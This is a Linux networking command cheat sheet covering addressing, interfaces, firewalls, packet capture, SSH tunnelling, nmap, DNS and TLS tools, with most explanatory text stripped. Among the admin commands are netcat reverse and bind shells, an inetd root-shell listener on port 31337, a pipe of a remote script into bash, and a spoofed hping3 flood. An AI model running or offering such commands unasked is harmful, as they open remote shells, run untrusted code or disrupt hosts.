© 2021 Martin Bruchanov, bruchy@gmail.com
OSI Layer | Data | Protocols | TCP/IP Layer |
---|---|---|---|
7. Application | Data | Data generation (SMTP, NNTP, SSH, Telnet, HTTP) | Application |
6. Presentation | Data | Encryption and formatting (JPEG, ASCII, EBDIC, GIF,…) | |
5. Session | Data | Sync. & send to ports (RPC, SQL, NFS, NetBIOS) | |
4. Transport | Segments | TCP/UDP, message segmentation, message traffic control | Transport |
3. Network | Packets | Packets, IP addr., routing, subnet traffic (IPv4/6, ICMP) | Network |
2. Data Link | Frames | Frame traffic control, sequencing (ARP, MAC) | Network Access |
1. Physical | bits | Cables, hubs, physical medium transmission |
CIDR Notation: | 192.168.1.130/25 | |
IPv4 (32bit): | 192.168.1.130 | 11000000.10101000.00000001.10000010 |
Mask: | 255.255.255.128 | 11111111.11111111.11111111.10000000 |
Subnet: | ( IP and Mask ) | 11000000.10101000.00000001.10000000 |
Subnet: | 192.168.1.128 | |
Usable Host Range: | 192.168.1.129--254 | |
Broadcast Address: | 192.168.1.255 |
ipcalc
, sipcalc
for IP/net calculations.
y : y : y : y : y : y : y : y
y : y : y : y : y : y : x . x . x . x
http://[2a01:4f8:130:2192::2]
00000:0000:0000:0000:000:0000:0000:0001 ≈ 0:0:0:0:0:0:0:1 ≈ ::1
::
”: 2001:0:0:0:0:0:0:ab ≈ 2001::ab
2001:0:0:1:0:0:0:ab ≈ 2001:0:0:1::ab ≈ 2001::1:0:0:0:ab
38:c9:86:30:63:bf
38 or identificator = 39
) 3ac9:86ff:fe30:63bffe80::3ac9:86ff:fe30:63bf
127.0.0.1/8
; ::1/128
0.0.0.0/8
; ::/128
224.0.0.0/4
; ff00::/8
10.0.0.0/8
, 172.16.0.0/12
, 192.168.0.0/16
; fc00::/7
169.254.0.0/16
::ffff:0:0/96
(::ffff:0.0.0.0
– ::ffff:255.255.255.255
)64:ff9b::/96
192.0.2.0/24
, 198.51.100.0/24
, 203.0.113.0/24
; 2001:db8::/32
/etc/services
)service network start/stop/restart
, /etc/init.d/network start/stop/restart
servicectl start/stop/restart NetworkManager.service
hostname name
nmcli general hostname name
/etc/hostname
hostnamectl set-hostname name
hostname
, hostnamectl
ethtool eth0
ifconfig lo 127.0.0.1
route add 127.0.0.1
cat /proc/net/dev
, netstat -ie
, tcpdump -D
ifconfig
, ip addr show
, ip link show
, ip link list
ip -j addr show | jq -r '.[]|[.ifname,.addr_info[].local]|@tsv'
ifconfig eth0 down
; ip link set eth0 down
; nmcli connection down eth0
ip link set enp0s25 name eth0
ifconfig eth0 up
; ip link set eth0 up
; nmcli connection up eth0
eth1
: ifconfig eth1 mtu 9000 up
, ip link set mtu 9000 eth1
ifconfig eth0 192.168.0.1
; ip addr add 192.168.0.1 dev eth0
ifconfig eth0 192.168.0.1 netmask 255.255.255.0 broadcast 192.168.0.255
ip addr add 192.168.0.1/24 broadcast 192.168.0.255 dev eth0
nmcli con add con-name eno2 type ethernet ifname eno2 ip4 192.168.0.5/24 gw4 192.168.0.254
dhclient -v eth0
ip addr del 192.168.0.1/24 dev eth0
curl ifconfig.co/json
ifconfig eth0:1 10.0.0.1/8
; ip addr add 10.0.0.1/8 dev eth0 label eth0:1
ifconfig eth0 promisc
(-promisc
to disable); ip link set eth0 promisc on/off
ifconfig eth0 hw ether AA:BB:CC:DD:EE:FF
;ip link set dev eth0 address AA:BB:CC:DD:EE:FF
route add default gw 192.168.1.1 eth0
ip route add 192.168.1.0/24 dev eth0
ip route add 192.168.1.0/24 via 192.168.1.1
sysctl -a | grep net
netstat --statistics --raw
enp1s0
:find /sys/devices -name enp1s0
(and use it for following commands).echo 1 > /sys/devices/pci0000:00/0000:00:1c.0/0000:01:00.0/remove
echo 1 > /sys/devices/pci0000:00/0000:00:1c.0/rescan
lspci | grep -E -i --color 'wifi|wlan|wireless'
iwlist wlan0 scan
; nmcli dev wifi
iwlist wlan0 freq
iwconfig wlan0 essid "Network SSID" key HEX_KEY
iwconfig wlan0 essid "Network SSID" key s:ASCII_KEY
nmcli dev wifi connect "Network SSID" password '123...'
wpa_supplicant -B -i wlan0 -DWext -c /etc/wpa_supplicant.conf
wpa_gui
man wpa_supplicant.conf
watch -n 1 cat /proc/net/wireless
(link = SNR, level in dBm)/etc/sysconfig/network-scripts/ifcfg-inteface
Static | Dynamic | Either |
---|---|---|
BOOTPROTO=none IPADDR=192.168.0.2 PREFIX0=24 GATEWAY0=192.168.0.1 DEFROUTE=yes DNS1=8.8.8.8 |
BOOTPROTO=dhcp
|
DEVICE=eth0 NAME="System eth0" ONBOOT=yes UUID=a1b1c122-2... USERCTL=yes |
nmtui
systemctl enable/disable/start/restart/stop NetworkManager.service
nmcli dev status
nmcli connection show
nmcli con show eth0
nmcli con add con-name "default" type ethernet ifname eth0
nmcli con add con-name "static" ifname eth0 autoconnect no type ethernet ip4 172.125.X.10/24 gw 172.25.X.254
nmcli connection modify eth0 ipv4.addresses 10.0.0.2/8 ipv4.gateway 10.0.0.1
nmcli con up/down "static"
nmcli con reload
nmcli device disconnect DEV
nmcli net off
nmcli con add / mod "ID" / del "ID"
nmcli con modify eth0 ipv4.dns "8.8.8.8,8.8.4.4"
nmcli connection modify eth0 ipv4.routes "192.168.0.0/24 10.0.0.1, 192.168.1.0/24 10.0.0.1"
dhclient -v eth0
dhclient -r
nmap --script broadcast-dhcp-discover
/var/lib/dhclient/dhclient.leases
netstat -plunt
; lsof -i
; ss -tua
lsof -i -a -p PID
netstat -lx
netstat -na
lsof -i :22
/ lsof -i :ssh
ss -lt
; fuser -n tcp 22
strace -f -e trace=network -s 10000 -p PID
nethog
iptraf-ng
ping6
, tracepath6
, traceroute6
ping -c n host
, hping3 -1 -c n host
ping -b 10.0.0.255
ping -I eth1
traceroute host
; mtr -c 1 -r host
hping3 -c 3 -p 443
hping3 -S -P -U --flood -V --rand-source host
hping3 -1 --flood -a host
tcptraceroute
, tcping host port
tcpdump -i eth0 icmp
brctl show
br0
: brctl addbr br0
, nmcli con add type bridge ifname br0
brctl addif br0 eth1
/ brctl delif br0 eth1
brctl stp br0 on
/ off
brctl delbr br0
arp
; ip neighbor list
; cat /proc/net/arp
ip -s neigh flush all
arp -i eth0 -s 192.168.0.1 00:11:22:33:44:55
ip neigh add 192.168.0.1 lladdr 00:11:22:33:44:55 nud permanent dev eth0
ifconfig -arp eth0
; ip link set dev eth0 arp off
arp -i eth1 -d 10.0.0.1
ip route show
, ip route list
, netstat -rn
ip route add default via 192.168.1.1
, route add default gw 192.168.1.1
nmap --iflist
ip route add 192.168.1.0/24 dev eth0
ip route delete 192.168.1.0/24 dev eth0
echo "1" > /proc/sys/net/ipv4/ip_forward
/etc/sysctl.conf
option net.ipv4.ip_forward = 1
/etc/sysconfig/network-scripts/route-eth0
:default via 10.254.0.1 dev eth0
172.31.0.0/16 via 10.254.0.1 dev eth0
iptables
ip6tables
iptables -S
, iptables -L -v
iptables -F
iptables -L | grep policy
… INPUT, FORWARD, OUTPUTiptables -A input -p tcp -dport N
-j ACCEPT}iptables -A input -p tcp -dport N -s IP/mask -j ACCEPT
192.168.10.x
: iptables -A INPUT -s 192.168.10.0/24 -j DROP
eth1
: iptables -A INPUT -i eth1 -p tcp --destination-port N -j DROP
iptables -A INPUT -m tcp -p tcp --dport 22 -j ACCEPT
iptables -A INPUT -p tcp -m state --state NEW -m multiport --dports ssh,http,https -j ACCEPT
/sbin/iptables-save > /etc/sysconfig/iptables
, /etc/init.d/iptables save
iptables -t nat -A POSTROUTING -s 10.200.0.0/24 -o eth0 -j MASQUERADE
iptables -t nat --line-numbers -L
(list in table); iptables -t nat -D PREROUTING 2
(delete 2nd line)fail2ban-client status sshd
firewalld
firewall-cmd --state
, systemctl status firewalld
firewall-cmd --list-all
firewall-cmd --get-active-zones
, firewall-cmd --get-zones
firewall-cmd --get-default-zone
, --set-default-zone=ZONE
firewall-cmd --set-default-zone=ZONE
--permament
option any changes will not be available after restart.firewall-cmd --permanent --zone=ZONE --add-port=8080/tcp
firewall-cmd --permanent --add-service={https
}firewall-cmd --reload
--remove-port=port/protocol
, --remove-service=service
, --remove-source=X.X.X.X/Y
firewall-cmd --zone=external --add-masquerade
firewall-cmd --zone=external --add-forward-port=port=22:proto=tcp:toport=2055:toaddr=192.0.2.55
firewall-cmd --permanent --add-rich-rule='rule family=ipv4 source address=172.25.X.10/32 service name="http" log level=notice prefix="NEW HTTP " limit value="3/s" accept '
firewall-cmd --permanent --add-rich-rule 'rule family=ipv4 source address=10.0.0.1/32 forward-port port=443 protocol=tcp to-port=22'
tcpdump
– dump traffic on a networktcpdump -i eth0 'tcp port 80'
tcpdump -vvv -s 1024 -l -A 'tcp port http'
tcpdump -i eth0 'not port ssh'
tcpdump -e
tcpdump -n / -nn
-X
, and header -XX
tcpdump -i eth0 src 192.168.10.1
tcpdump -i eth0 dst 192.168.10.1
tcpdump -i eth0 net 192.168.10.1/24
tcpdump udp and src port 53
eth1
to file: tcpdump -ni eth1 -w file.cap
tcpdump -n portrange 22-23
man pcap-filter
tcpdump -v -n -l | grep -E -i "POST /|GET /|Host:"
ssh -l login -p port hostname
, ssh login@hostname
ssh -o PreferredAuthentications=password -o PubkeyAuthentication=no login@hostname
~
” followed by a command:~?
– Display a list of escape characters.~.
– Terminate connection.~Ctrl-z
– suspend ssh process, use fg
to enable it again.~B
– send a BREAK to the remote system.~C
– open a command line (use help
) for port forwarding options.ssh -J user1@host1:port1,user2@host2:port2 user3@target -p port3
ssh -o ProxyCommand="ssh -i ~/.ssh/id_rsa user@bastion -W %h:%p" user@target -p2222
ssh -L LocalPort:RemoteIP:RemotePort host
ssh -L LocalIP:Localport:RemoteIP:RemotePort host
ssh -R RemotePort:LocalIP:LocalPort host
ssh -R RemoteIP:Remoteport:LocalIP:LocalPort host
GatewayPorts yes
in /etc/ssh/sshd_config
ssh -D LocalAddress:LocalPort host
, ssh -D 1080 host
curl --user-agent "Mozilla" --socks4 localhost:1080 http://www.whatsmyip.org/
ssh -o ProxyCommand='nc --proxy-type socks4 --proxy 127.0.0.1:1080 %h %p' user@target
export http_proxy=socks5://127.0.0.1:1080; export https_proxy=$http_proxy
npm install -g http-proxy-to-socks; hpts --socks 127.0.0.1:9000 -p 8080
sshfs -o allow_other,defer_permissions,IdentityFile=~/.ssh/id_rsa user@xxx.xxx.xxx.xxx:/ /mnt/droplet
ssh user@host 'cat /path/to/some/file' | xclip
diff ~/.bashrc <(ssh work cat ~/.bashrc)
journalctl -u sshd
sshd -T | sort | less
ssh-keygen -t rsa -b 4096 -C "Top secret key"
ssh-keygen -y -f private.pem > public.pub
chmod 700 ~/.ssh
; chmod 600 ~/.ssh/authorized_keys
ssh-copy-id user@host
; cat ~/.ssh/id_rsa.pub | ssh user@host 'cat >> ~/.ssh/authorized_keys'
ssh-agent -t $((8*3600))
ssh-add ~/.ssh/id_rsa
(will ask for passphrase once in time life)ssh -A hostname
ssh -At server 'ssh host'
ssh-keyscan -T 1 -p port host
export SSH_AUTH_SOCK=/tmp/ssh-uSU1Oq9ek5/agent.17339; ssh-add -l; ssh user@hostname
ssh -X host
, ssh -Y host
(trusted)export DISPLAY=YOUR_IP:0.0
xhost +REMOTE_IP
rdesktop -u USER -d DOMAIN -g 1024x768 -r disk:local=~ hostname
xfreerdp /u:"User name" /drive:home,/home/user /v:hostname:3389
telnet hostname port
telnet -l login hostname
Ctlr-]
quit
, logout
, user login
, open host port
mount -t cifs '\\server\share' /mnt/local -o user=DOMAIN/USER
smbclient -L host
, smbclient -I IP
smbclient '\\server\share' -U user mypasswd
smbclient
commands: ls, dir, lcd, cd, pwd, get, mget, rm, quit
smbget
smbstatus
/etc/fstab
: //server/share /mnt/local cifs username=USER,password=PASS,rw 0 0
umount -a -t cifs -l
/etc/export
:/mnt/share 192.168.0.100(rw,sync,no_root_squash)
ro
read-only, rw
read-write, sync
, no_root_squash
allow root, no_subtree_check
netstat | grep nfs
rpcinfo -s bee | grep -E 'nfs|mountd'
nfsstat
showmount -e
mount -t nfs 192.168.0.99:/mnt/share /mnt/local
/etc/fstab
: 192.168.0.99:/mnt/share /mnt/local nfs rsize=8192,wsize=8192,timeo=14,intr,tcp 0 0
ftp hostname
ascii
(default), binary
(set transfer mode for binary files), bye
, cd
, cdup
, close
, delete
, dir
, get
, lcd
, ls
, mget
, mput
, open
, proxy
, put
, pwd
, rmdir
, verbose
lftp
, ncftp
, curl
, wput
rsync source destination
rsync -avHPS --rsh="ssh -p 2222" source user@host:/dest/dir
rsync
CLI options:-v, --verbose
– increase amount of output information-a, --archive
– archive mode, equals -rlptgoD
-r, --recursive
– recursive into directories-l, --links
– copy symlinks as symlinks-L, --copy-links
– transform symlink into referent file/dir-p, --perms
– preserve permissions-t, --times
– preserve timestamp-g, --group; -o, --owner
– preserve group, owner-D
– synchronize device files-H, --hard-links
– preserve hard links-P, --partial --progress
– keep partial files (for resuming transfer)-S, --sparse
– handle sparse files efficiently--dry-run
– perform a trial run with no changes made --bwlimit=100
– limit transferring speed to 100 kB/s--delete
– delete files that are not in source directory--remove-source-files
– delete file after transferscp -P 2222 file.txt user@hostname.com:/home/user/
sftp -P 2222 user@hostname.com
sftp -b batchfile.txt user@hostname.com
nmap 192.168.1.1-254
, nmap 192.168.1.*
, nmap 192.168.1.0/24
nmap --open -p80 10.0.0.0/24 -oG -
nmap -iL list.txt
(host, network, IP per like)nmap -6
-p 22
, -p 1-1024
, -F
(only most common ports), -p-
(1-65535), -p U:53,111,137,T:21-25,80
(given TCP/UDP ports)-A
, -sV
(standard), -sV --version-intensity 5
(aggresive)-T4
) OS and services version detection: nmap -v -A -T4 172.31.224.10
nmap -v -sT -PN --spoof-mac 11:22:33:AA:BB:CC 192.168.1.1
--host-timeout 1m
--scan-delay 5s
-n
/ -R
nmap -sV -sC 10.0.0.1
nmap -sV -Pn -n --proxies socks4://127.0.0.1:1080 scanme.nmap.org
locate .nse
, rpm -ql nmap
, dpkg -S nmap
nmap --traceroute --script traceroute-geolocation.nse host
nmap --script http-enum www.host.com
nmap --script http-title -sV -p 80 192.168.0.0/24
nmap -p 445 --script smb-os-discovery 192.168.0.0/24
nmap --script http-* scanme.nmap.org
nping -c 1 --tcp -p 80,433 scanme.nmap.org
nmap -oA output -p- host
ndiff scan1.xml scan2.xml
hping3 --tcp-timestamp -S google.com -p 80 -c 3
hping3 --scan 1-1024 -S host
nc www.google.com 80
-p
it is not specified: 31337--tcp
, --udp
, --sctp
, --ssl
, -4
, -6
nc -v -k -l 1234
, UDP port: nc -v -k -ul 1234
--allow 192.168.0.0/24
, --deny 10.0.0.0/8
cat file.txt | nc -v -l -p 5555
nc host 5555 > file_copy.txt
nc -v -l -e /bin/bash
nc host
, telnet host 31337
nc -vv -l
nc -v public_host -e /bin/bash
/dev/tcp/host/port
, /dev/udp/host/port
exec 3<>/dev/tcp/www.root.cz/80
echo -en "GET /unix/ HTTP/1.1\r\nHost: www.root.cz\r\n\r\n" >&3
cat <&3
exec 3>&-
ls -l /proc/$$/fd
/etc/hosts
/etc/nsswitch.conf
/etc/resolv.conf
:nameserver 8.8.8.8 nameserver 8.8.4.4 search .mydomain.com
systemd
: /etc/systemd/resolved.conf
host name
, nslookup name
, dig +short name
, resolvectl query name
dig name
, host -a name
dig +trace name
getent
/etc/hosts
: getent hosts name
dig -x 10.32.1.10 +short
dig hostname +short
for i in 192.168.10.{1..254}; do echo -e $i \t $(dig +short -x $i); done
dig -t record hostname/domain
, host -t record hostname/domain
A / AAAA
– return 32/128 bit address for hostCNAME
– aliases of hostname, can point to AMX
– mail exchanger recordNS
– specify authoritative nameserver for domainPTR
– pointer records for reverse lookup (addr->host)SOA
– Start of Authority, name of the server that supplied the data for the zonedig @8.8.8.8 hostname
, host hostname 8.8.8.8
dig @a.root-servers.net example.com
(will return authority DNS for domain)dig . DNSKEY | grep -Ev '^($|;)' > root.keys
dig +sigchase +trusted-key=./root.keys www.root.cz A
nmap --script=dns-service-discovery -p 53,5353 172.31.224.0/24 -oG - | grep open
doh
, dog A AAAA MX www.example.com @https://cloudflare-dns.com/dns-query --https
curl -s ifconfig.co/json?ip=IP | jq -r '[.hostname,.country]|@csv'
whois
, jwhois
whois -h whois.nic.cz seznam.cz
whois IP
/ whois domain
whois -h whois.radb.net -- -i origin AS855 | grep route
http://user:password@domain:port/path?query#fragment_id
wget -e robots=off -r -L URL
, curl -I URL
, wget -S URL
curl -O URL/file
, wget URL/file
curl -o file URL
curl -s URL --list-only
curl -u user:password URL
, wget --user user --password pass URL
wget -q --cookies=on --keep-session-cookies --save-cookies=cookie.txt URL
wget -nv --content-disposition --referer= --cookies=on URL
curl URL
, wget -q -O - URL
wget -q -O - https://server/script.sh | bash -x -v
curl -L -O -C - URL
wget --referer URL --user-agent "Mozilla/5.0 (compatible; Linux)"
curl -H "Content-Type: application/xml" URL
curl -H "Cookie: name1=value; name2=another" URL
, curl --cookie "name1=value; name2=another" URL
curl -X POST -d 'name1=value&name2=another' URL
Z curl --form upload=@localfilename --form press=OK URL
export http_proxy=http://foo:bar@202.54.1.1:3128/
export https_proxy=$http_proxy
elinks -dump URL
, lynx -dump URL
python3 -m http.server 9000
nginx -t -c config
, dump config: nginx -T
nmap -sV --script ssl-enum-ciphers -p 443 hostname
openssl rand -base64 8
openssl s_client -showcerts -connect google.com:443
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout server.key -out server.crt
openssl rsa -noout -modulus -in server.key | openssl md5
echo | openssl s_client -showcerts -connect google.com:443 2>&1 | openssl x509 -noout -dates
echo | timeout 3 openssl s_client...
openssl x509 -noout -text -in certificate.crt
openssl x509 -noout -ext subjectAltName -in certificate.crt
openssl pkcs12 -in file.p12 -out crt.pem -clcerts -nokeys -passin 'pass:123456'
openssl pkcs12 -in file.p12 -out key.pem -nocerts -nodes -passin 'pass:123456'
ntpq tik.cesnet.cz
ntpq -i tik.cesnet.cz <<< "cl"
ntpstat
ntpdate -s time.nist.gov
rpcinfo -p localhost
echo "31337 stream tcp nowait userid /bin/bash bash -i" >> /tmp/config.conf; /usr/sbin/inetd /tmp/config.conf
/etc/hosts.allow
:deamon_list : client_list
#
ALL : .domain.com
sshd : 192.168.122.0/255.255.255.0 EXCEPT 192.168.122.150
rpc.mountd, in.tftpd : 192.168.100.100
vsftpd: /etc/myftp.hosts
/etc/myftp.hosts
: 192.168.0.0/255.255.255.0
/etc/hosts.deny
:ALL EXCEPT in.tftpd : .domain.com
sshd : ALL EXCEPT 192.168.122.150
ALL : ALL
semanage port -l
semanage port -a -t http_port_t -p tcp 8000
getenforce
setenforce 0
chcon -R -t httpd_sys_content_t ./directory
tc -s qdisc ls dev eth0
tc qdisc add dev eth0 root netem delay 200ms
tc qdisc del dev eth0 root
iptables -A INPUT -i eth0 -m state --state NEW -p udp --dport 1194 -j ACCEPT
, firewall-cmd --permanent --add-service openvpn
openvpn --ifconfig 10.200.0.1 10.200.0.2 --dev tun
openvpn --ifconfig 10.200.0.2 10.200.0.1 --dev tun --remote your.openvpnserver.net
--proto tcp-server
(server), --proto tcp-client
(client)openvpn --genkey --secret secret.key
and use --secret secret.key
on client/server.curl --mail-from blah@test.com --mail-rcpt foo@test.com smtp://mailserver.com
mail -s "This is subject" foo@test.com